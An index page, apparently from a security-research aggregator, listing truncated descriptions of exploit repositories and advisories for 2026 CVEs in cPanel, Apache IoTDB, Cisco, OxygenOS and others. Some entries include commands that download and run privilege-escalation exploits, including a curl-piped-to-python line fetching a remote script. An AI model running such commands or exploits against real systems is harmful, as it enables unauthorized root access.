cpsniper

cPanelSniper CVE-2026-41940 — cPanel & WHM Authentication Bypass via Session-File CRLF Injection 4-stage exploit chain · Interactive WHM Shell · TRUE STABLE for 10M+ targets · Zero memory usage · stdlib only Overview cPanelSniper is a focused exploitation framework for CVE-2026-41940 , a critical...

copy-fail

copy-fail PoC of CVE-2026-31431 USAGE: wget https://raw.githubusercontent.com/pedromizz/copy-fail/main/poc.py python3 poc.py $ id uid=0root pedromizz :...

CVE-2026-59229

The Legacy Pipe receiver protocol handshake / sendPipeData uses a hardcoded SUPERUSER root identity when executing data loading and deletion operations. A user with only SYSTEM-level privileges such as USEPIPE or MAINTAIN who does NOT have WRITEDATA or DELETEDATA permissions on target databases c...

cpanelCVE-2026-41940

🔴 cPanelCVE CVE-2026-41940 — cPanel & WHM Authentication Bypass CVSS 10.0 Critical · Confirmed In‑The‑Wild · Auto Root Login 📖 Overview cPanelCVE is a proof‑of‑concept exploit for CVE-2026-41940, a critical session‑file CRLF injection vulnerability in cPanel & WHM that allows complete root...

Offensive-lab-2

Offensive security Lab : ProFTPD 1.3.3c Backdoor Exploit Root Flag 1. Introduction and Objectives This report details the penetration test performed on a vulnerable Linux virtual machine VM, focusing on identifying a high-risk service vulnerability that allowed for immediate root access. Detail|...

unknownpwn.github.io

Tecnovision LED Video Wall Vulnerabilities and Exploits. From SQLi to full root access. Introduction: Tecnovision is a manufacturer of LED Video Walls used in arenas For example, Twickenham Stadium, concert halls, shopping malls, as roadsigns and much much more. DlxSpot Player 4 is the software...

CVE-2026-46300

Security Research & Legal Disclaimer This repository is for educational and authorized security research purposes only. Permitted Use Understanding security vulnerabilities and exploitation concepts in controlled environments local VMs, isolated labs Studying sandbox isolation mechanisms and thei...

CVE-2026-59229 Apache IoTDB: Legacy Pipe Privilege Escalation

The Legacy Pipe receiver protocol handshake / sendPipeData uses a hardcoded SUPERUSER root identity when executing data loading and deletion operations. A user with only SYSTEM-level privileges such as USEPIPE or MAINTAIN who does NOT have WRITEDATA or DELETEDATA permissions on target databases c...

EUVD-2026-107167

The Legacy Pipe receiver protocol handshake / sendPipeData uses a hardcoded SUPERUSER root identity when executing data loading and deletion operations. A user with only SYSTEM-level privileges such as USEPIPE or MAINTAIN who does NOT have WRITEDATA or DELETEDATA permissions on target databases c...

CVE-2026-59229

Apache IoTDB (versions 2.0.0 before 2.0.11) is vulnerable to a privilege escalation issue in the Legacy Pipe receiver protocol (handshake / sendPipeData). The vulnerability arises because the protocol uses a hardcoded SUPER_USER (root) identity to execute data loading and deletion operations. Con...

Penetration-Testing-Walkthrough-Hacksudo-Thor

HackSudo Thor Full Penetration Testing Walkthrough Target: HackSudo Thor from VulnHub Objective: Gain root access and read /root/proof.txt Environment: Isolated VirtualBox lab segmented by a pfSense firewall Table of Contents Overview Network Topology Attack Chain Summary Phase 1: Passive...

MAL-014

MAL-014: Authenticated Arbitrary File Read in VMware vCenter Server The “com.vmware.appliance.version1.system.update.set” API component is vulnerable to a flag injection attack that can be leveraged with the “com.vmware.showlog” plugin in order to read arbitrary files as the “root” user on the...

CVE-2026-31431

CVE-2026-31431 CVE-2026-31431 detection and testing 0x01 Quick Start Some target environments do not have Python installed, so this privilege escalation logic was rewritten in C. 1. Compile Run the following command on your Linux machine or WSL using -static is recommended to avoid GLIBC version...

DirtyCow

DirtyCow - Exploit Below code takes advantage of a known vulnerability Dirty COW CVE-2016-5195 to escalate privileges and get root access. Before running, uncomment sc for your platform within main.c. Compilation: gcc main.c -o dirtycow -lpthread...

CVE-2024-3400-

PAN-OS Firewall Command Injection Vulnerability This repository contains a Go script that exploits a Command Injection vulnerability in firewalls running Palo Alto Networks' PAN-OS operating system. The vulnerability, identified as CVE-2024-3400, allows an unauthenticated attacker to execute...

htb-paperwork-poc

HTB · PaperWork — PoC Proof-of-concept per la macchina Pape...

Ashwesker-CVE-2026-20045

🚨 CVE-2026-20045 — Zero-Day Breakdown 🚨 🧨 What it is A critical remote code execution RCE vulnerability affecting multiple Cisco Unified Communications products. It was actively exploited in the wild before patches were released. 🔥 Why it’s dangerous 🚫 No authentication required 🖥️ Remote code...

CVE-2026-70386

OnePlus OxygenOS on Android is vulnerable to an OS command injection and Missing Authorization vulnerability. A locally installed application can execute arbitrary shell commands as uid 0 in the u:r:dumpstate:s0 SELinux domain without user interaction. The flaw arises because the atlasservice bin...

TEST-CVE-2026-31431

TEST-CVE-2026-31431 oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d5j / id uid=0ro...

GNU-Inetutils-telnet-CVE-2026-24061-

CVE-2026-24061 GNU Inetutils Telnetd Authentication Bypass Vulnerability Detection Tool 📋 Project Overview This is an advanced detection tool for the GNU Inetutils Telnetd authentication bypass vulnerability CVE-2026-24061. This vulnerability has a CVSS score of 9.8, allowing attackers to obtain...